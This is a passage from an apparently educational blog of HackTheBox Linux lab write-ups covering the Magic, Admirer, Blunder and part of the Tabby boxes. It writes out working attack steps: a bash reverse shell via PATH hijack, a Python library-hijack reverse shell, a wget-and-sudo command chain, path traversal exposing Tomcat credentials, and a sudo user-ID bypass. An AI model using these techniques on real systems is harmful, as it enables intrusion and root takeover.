class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;span class="lnt"&gt;8&#10;&lt;/span&gt;&lt;span class="lnt"&gt;9&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;[common]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;server_addr = 10.10.16.3&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;server_port = 7000&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;[mysql]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;type = tcp&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;local_ip = 127.0.0.1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;local_port = 3306&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;remote_port = 6000&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Just start it up.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mysql -u theseus -P 6000 -p -h localhost Magic&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0515.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The connection succeeded.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0516.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I found a password.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0517.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I successfully switched to theseus.&lt;/p&gt;&#10;&lt;p&gt;I continued gathering information, but found nothing useful. I checked every suid binary.&lt;/p&gt;&#10;&lt;p&gt;Then I found something interesting. My current user was also in the users group, which matched this exactly.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0518.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0519.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I went through everything and only learned that this was specifically intended for the users group. I did not know how to use it.&lt;/p&gt;&#10;&lt;p&gt;I eventually ran out of ideas and only learned from the write-up that this could be exploited. It was quite complicated for me.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0520.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Once I knew the entry point, I started working through it. The commands it invoked had no restrictions, and it executed both of them as root.&lt;/p&gt;&#10;&lt;p&gt;In other words, the first command found through the environment&amp;rsquo;s search path would be executed by root.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0521.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The search order above eventually reached /sbin, where fdisk lived, but none of the earlier directories were writable.&lt;/p&gt;&#10;&lt;p&gt;I could still use export to set a temporary environment variable. After reading about it, I ran:&lt;/p&gt;&#10;&lt;p&gt;export PATH=/tmp:$PATH&lt;/p&gt;&#10;&lt;p&gt;This made it search the tmp directory first.&lt;/p&gt;&#10;&lt;p&gt;I wrote the reverse-shell command into fdisk.&lt;/p&gt;&#10;&lt;p&gt;echo &amp;ldquo;bash -c &amp;rsquo;exec bash -i &amp;gt;&amp;amp; /dev/tcp/10.10.16.3/6666 &amp;lt;&amp;amp;1&amp;rsquo;&amp;rdquo; /tmp/fdisk&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0522.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The connection came back successfully. That was the end.&lt;/p&gt;&#10;&lt;p&gt;This unconventional privilege escalation was a little difficult. The box focused heavily on escalation, and I genuinely did not expect the path from theseus to root to be hidden here. Still, this is a standard oscp box, so I clearly need to broaden my thinking. There are many suid files, and the hints were the current user&amp;rsquo;s users group and the root-owned file with an s bit.&lt;/p&gt;&#10;&lt;p&gt;They matched perfectly. The hint was buried rather deeply. I had also never considered that a command might invoke system commands without absolute paths and instead rely on the environment&amp;rsquo;s search path. That was hidden very well.&lt;/p&gt;&#10;&lt;h2 id="23admirer"&gt;&lt;a href="#23admirer" class="header-anchor"&gt;&lt;/a&gt;23.Admirer&#10;&lt;/h2&gt;&lt;p&gt;Information gathering:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0523.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0524.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0525.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0526.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0527.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I will give the result directly. ftp did not allow anonymous login, but directory brute-forcing revealed the ftp password. After logging in over ftp, I found two files.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0528.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Extracting them revealed an important file.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0529.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;http://10.10.10.187/utility-scripts/admin_tasks.php&lt;/p&gt;&#10;&lt;p&gt;Its main behavior was to execute shell_exec(&amp;quot;/opt/scripts/admin_tasks.sh $task 2&amp;gt;&amp;amp;1&amp;quot;) when task was between 1-7.&lt;/p&gt;&#10;&lt;p&gt;So I only needed to submit a number and append a command after it, mainly by bypassing the 1-7 if condition.&lt;/p&gt;&#10;&lt;p&gt;But php weak typing could not bypass it at all.&lt;/p&gt;&#10;&lt;p&gt;There was simply no vulnerability at this point. I had brute-forced nearly every directory I found.&lt;/p&gt;&#10;&lt;p&gt;In the end I found no way forward, so I checked the next step in a write-up and discovered another file named adminer.php. Its name differed from the box name by only one character, but I had not found it. The write-up&amp;rsquo;s next step supposedly followed from a hint, yet I had not noticed any hint at all.&lt;/p&gt;&#10;&lt;p&gt;I now had a new entry point: adminer.php.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0530.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I tried connecting with the credentials I had obtained earlier, but it did not work at all. This held me up for a very long time. I never expected to get stuck here for so long. Eventually I had no other choice and glanced at a write-up.&lt;/p&gt;&#10;&lt;p&gt;Its hint said that since there was no way to connect to this mysql instance, another approach was needed:&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://infosecwriteups.com/adminer-script-results-to-pwning-server-private-bug-bounty-program-fe6d8a43fe6f" target="_blank" rel="noopener"&#10; &gt;https://infosecwriteups.com/adminer-script-results-to-pwning-server-private-bug-bounty-program-fe6d8a43fe6f&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;The idea was that CVE-2021-43008 reads files locally from Adminer&amp;rsquo;s host. We only needed to log in and connect it to a backend database; it did not matter whose database it was.&lt;/p&gt;&#10;&lt;p&gt;That gave me another entry point, and this time everything went smoothly.&lt;/p&gt;&#10;&lt;p&gt;I started mysql on kali. These are the posts I used as references:&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://www.cnblogs.com/dll102/p/16008382.html" target="_blank" rel="noopener"&#10; &gt;https://www.cnblogs.com/dll102/p/16008382.html&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://blog.csdn.net/lxyoucan/article/details/131282508" target="_blank" rel="noopener"&#10; &gt;https://blog.csdn.net/lxyoucan/article/details/131282508&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;After completing those steps, the remote server could connect. This was the most important part.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0531.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0532.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;That let me get in. I then followed the post below to exploit the arbitrary file-read vulnerability.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://podalirius.net/en/cves/2021-43008/" target="_blank" rel="noopener"&#10; &gt;https://podalirius.net/en/cves/2021-43008/&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;One detail matters here: files such as /etc/passwd could not be read. I later guessed the /var/www/html directory and could read its contents, but utility-scripts/db_admin.php did not exist, so I could not extract database passwords or similar information. Eventually I discovered that /var/www/html/index.php still contained a password.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0533.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The connection had failed because the password was different.&lt;/p&gt;&#10;&lt;p&gt;I actually tried many things at this stage, including reading passwd and waldo&amp;rsquo;s private key, but none helped. Only then did I find this.&lt;/p&gt;&#10;&lt;p&gt;The password worked for ssh, giving me a foothold. Once connected, I had a password, so my first command was sudo -l.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0534.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There was something useful. Here was my reasoning.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0535.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I did not have permission to modify it.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0536.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;All the parameters explicitly named their files, so changing environment variables could not bypass anything. Even /usr/bin/mysqldump lacked write permission.&lt;/p&gt;&#10;&lt;p&gt;That made backup.py very suspicious.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0537.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I only had read permission.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0538.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The path was now fairly obvious: create a fake shutil.py file. The program would import shutil.py automatically when it started, and top-level code in that module would run as well, so I only needed to add a shell.&lt;/p&gt;&#10;&lt;p&gt;The plan was therefore to hijack a python library. There are two extremely common methods. The first is to place shutil.py beside backup.py, since it will prefer the library in the current directory.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0539.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;But I did not have write permission there.&lt;/p&gt;&#10;&lt;p&gt;The second is to modify shutil.py in the installed library directly, but I did not have permission for that either.&lt;/p&gt;&#10;&lt;p&gt;Neither worked. After searching google, I found two more approaches. One was to add an environment variable in the current terminal.&lt;/p&gt;&#10;&lt;p&gt;export PYTHONPATH=/tmp/&#10;But that still did not work for me.&lt;/p&gt;&#10;&lt;p&gt;The second was to pass the environment variable through sudo.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0540.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;echo &amp;lsquo;import socket,subprocess,os\ndef make_archive(a,b,c):\n\ts=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n\ts.connect((&amp;ldquo;10.10.16.21&amp;rdquo;,9999))\n\tos.dup2(s.fileno(),0)\n\tos.dup2(s.fileno(),1)\n\tos.dup2(s.fileno(),2)\n\timport pty\n\tpty.spawn(&amp;ldquo;sh&amp;rdquo;)&amp;rsquo; &amp;gt; shutil.py&lt;/p&gt;&#10;&lt;p&gt;Writing the file this way did not preserve the escapes, so I transferred it from kali instead. Then I only needed to construct the final command.&lt;/p&gt;&#10;&lt;p&gt;wget &lt;a class="link" href="http://10.10.16.21:33333/Admirer/utility-scripts/shutil.py;chmod" target="_blank" rel="noopener"&#10; &gt;http://10.10.16.21:33333/Admirer/utility-scripts/shutil.py;chmod&lt;/a&gt; 600 shutil.py;sudo PYTHONPATH=/home/waldo /opt/scripts/admin_tasks.sh 6&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0541.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;That was the end.&lt;/p&gt;&#10;&lt;p&gt;In my view, this box fits oscp very well. Precisely because it does, many parts were unusually complex.&lt;/p&gt;&#10;&lt;p&gt;First, I never thought of looking for adminer.php. Second, I could not find anything about this Adminer behavior. The first tested my methodology, while the second tested my search skills—essentially my ability to choose effective Google search terms.&lt;/p&gt;&#10;&lt;p&gt;Then came privilege escalation. That part was comparatively simple, but I wasted a lot of time on the python import behavior. The first three methods never worked. I finally learned that placing an environment variable after sudo passes it directly to the command following sudo. Simply running export PYTHONPATH=/home/waldo left the later command unable to see it. sudo -E might also have carried the variable across, but in practice it did not. I wasted a lot of time here too.&lt;/p&gt;&#10;&lt;h2 id="24blunder"&gt;&lt;a href="#24blunder" class="header-anchor"&gt;&lt;/a&gt;24.Blunder&#10;&lt;/h2&gt;&lt;p&gt;Information gathering:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0542.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0543.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0544.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I&amp;rsquo;ll jump straight to the result. The initial reconnaissance may have involved a port-knocking sequence to open a port, so I made a note of that and moved on. The website&amp;rsquo;s information revealed the framework.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0545.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0546.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;BLUDIT v3.9.2&lt;/p&gt;&#10;&lt;p&gt;I could simply find an exp and run it. Searching kali for exploits matching this version only returned a user-brute-forcing script.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0547.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The username had been revealed as well.&lt;/p&gt;&#10;&lt;p&gt;Everything pointed toward brute force: I had a username and a version number, and this user-brute-forcing script only applied to version 3.9.2 and earlier.&lt;/p&gt;&#10;&lt;p&gt;I used cewl to crawl the home page and generate a wordlist.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0548.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Then I just ran the script.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0549.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I now had credentials, but kali did not include an rce script. I found a suitable script through google.&lt;/p&gt;&#10;&lt;p&gt;Introduction: &lt;a class="link" href="https://www.anquanke.com/post/id/197105" target="_blank" rel="noopener"&#10; &gt;https://www.anquanke.com/post/id/197105&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;Script: &lt;a class="link" href="https://github.com/ynots0ups/CVE-2019-16113/blob/master/cve-2019-16113.py" target="_blank" rel="noopener"&#10; &gt;https://github.com/ynots0ups/CVE-2019-16113/blob/master/cve-2019-16113.py&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;It could be used directly, although it might need a small change to avoid a problem.&lt;/p&gt;&#10;&lt;p&gt;The main problem was here. The error message led me to the cause.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0550.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The URL must not end in /, or it errors out.&lt;/p&gt;&#10;&lt;p&gt;I obtained a shell.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0551.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I started privilege escalation by checking the configuration files.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0552.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I found a pile of db.php files, but they contained nothing. I then reached user.php under databases, which held usernames and passwords.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0553.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The first password was salted. The account was admin, and john could brute-force it.&lt;/p&gt;&#10;&lt;p&gt;But the second one, from version 3.10, had a user named hugo.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0554.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There also happened to be a hugo home directory.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0555.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;hugo:Password120&#9;&#9;I could simply run su hugo.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0556.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0557.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;That switched me directly to shaun.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0558.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;LinEnum provided an exploitation lead. I had actually noticed this while running as www-data: the user belonged to an unusually large number of groups, so it was worth looking for group-accessible programs that might be exploitable.&lt;/p&gt;&#10;&lt;p&gt;However, there were no exploitable executables for those groups. I kept looking for a path forward but could not find one.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0559.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I had found the version and tried exploiting vulnerabilities that affected it.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0560.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Eventually I found this: &lt;a class="link" href="https://www.exploit-db.com/exploits/47502" target="_blank" rel="noopener"&#10; &gt;https://www.exploit-db.com/exploits/47502&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;Coincidentally, its exploitation requirements exactly matched what sudo -l showed for hugo.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0561.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Running sudo -u#-1 /bin/bash successfully escalated privileges.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0562.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;This box was relatively simple. I did not encounter any new services, programs, or similar components.&lt;/p&gt;&#10;&lt;p&gt;It was a conventional box where the main requirement was methodology. I can only keep refining that methodology: every program may have vulnerabilities and needs to be checked individually.&lt;/p&gt;&#10;&lt;h2 id="25tabby"&gt;&lt;a href="#25tabby" class="header-anchor"&gt;&lt;/a&gt;25.Tabby&#10;&lt;/h2&gt;&lt;p&gt;Information gathering:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0563.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There was no udp service.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0564.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I will give the conclusion directly.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0565.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There was an arbitrary file read. PHP wrappers did not seem to work, so I could not read the source of index.php or news.php.&lt;/p&gt;&#10;&lt;p&gt;I found nothing else afterward. The web root was still /var/www/html/index.php.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0566.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;At this point the path was obvious: find tomcat-users.xml and log in with it.&lt;/p&gt;&#10;&lt;p&gt;I tried many directories without success and gathered many wordlists. Only at the end did I find this path.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://talk.openmrs.org/t/configuring-apache-tomcat-9/32379" target="_blank" rel="noopener"&#10; &gt;https://talk.openmrs.org/t/configuring-apache-tomcat-9/32379&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;This Q&amp;amp;A mentioned usr/share/tomcat9/etc/tomcat-users.xml.&lt;/p&gt;&#10;&lt;p&gt;After collecting this information, I sent the request to Burp Suite and eventually got the result. One thing worth noting is that the XML will not render in the HTML page; you have to press F12 and inspect the source.&lt;/p&gt;&#10;&lt;p&gt;view-source:&lt;a class="link" href="http://megahosting.htb/news.php?file=../../../../../../../../../usr/share/tomcat9/etc/tomcat-users.xml" target="_blank" rel="noopener"&#10; &gt;http://megahosting.htb/news.php?file=../../../../../../../../../usr/share/tomcat9/etc/tomcat-users.xml&lt;/a&gt;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;lt;role rolename=&amp;#34;admin-gui&amp;#34;/&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;lt;role rolename=&amp;#34;manager-script&amp;#34;/&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;lt;user username=&amp;#34;tomcat&amp;#34; password=&amp;#34;$3cureP4s5w0rd123!&amp;#34; roles=&amp;#34;admin-gui,manager-script&amp;#34;/&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;I could not log in to manage, only to &lt;a class="link" href="http://megahosting.htb:8080/host-manager/html" target="_blank" rel="noopener"&#10; &gt;http://megahosting.htb:8080/host-manager/html&lt;/a&gt;.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0567.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://cloud.tencent.com/developer/article/1578239" target="_blank" rel="noopener"&#10; &gt;https://cloud.tencent.com/developer/article/1578239&lt;/a&gt;&#10;&lt;a class="link" href="https://blog.csdn.net/weixin_41924764/article/details/108196725" target="_blank" rel="noopener"&#10; &gt;https://blog.csdn.net/weixin_41924764/article/details/108196725&lt;/a&gt;&#10;These two posts were excellent and addressed this exact situation.&lt;/p&gt;&#10;&lt;p&gt;However, I tried a great many times and consulted several posts. It appeared that I had to define my domain on this site before I could use it; otherwise it would not work.&#10;I had to find another method. Searching by the role name led me to two tutorials.&lt;/p&gt;&#10;&lt;p&gt;I searched google for Apache Tomcat manager-script exploit.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://medium.com/@nginx0/backtrack-2-5-thm-writeup-cb4eddb8b18c" target="_blank" rel="noopener"&#10; &gt;https://medium.com/@nginx0/backtrack-2-5-thm-writeup-cb4eddb8b18c&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://medium.com/@cyb0rgs/exploiting-apache-tomcat-manager-script-role-974e4307cd00" target="_blank" rel="noopener"&#10; &gt;https://medium.com/@cyb0rgs/exploiting-apache-tomcat-manager-script-role-974e4307cd00&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;Both described the same vulnerability. I had assumed the war file could be built in the same way as one uploaded through the tomcat manager page, so I kept trying my own packages. Both tutorials instead used msfvenom to generate a war backdoor. Generally, oscp allows msf once, but the msfvenon used to generate a backdoor is not limited because it only generates the backdoor; only msfconsole is limited to one use.&lt;/p&gt;&#10;&lt;p&gt;The files I built myself never worked.&lt;/p&gt;&#10;&lt;div 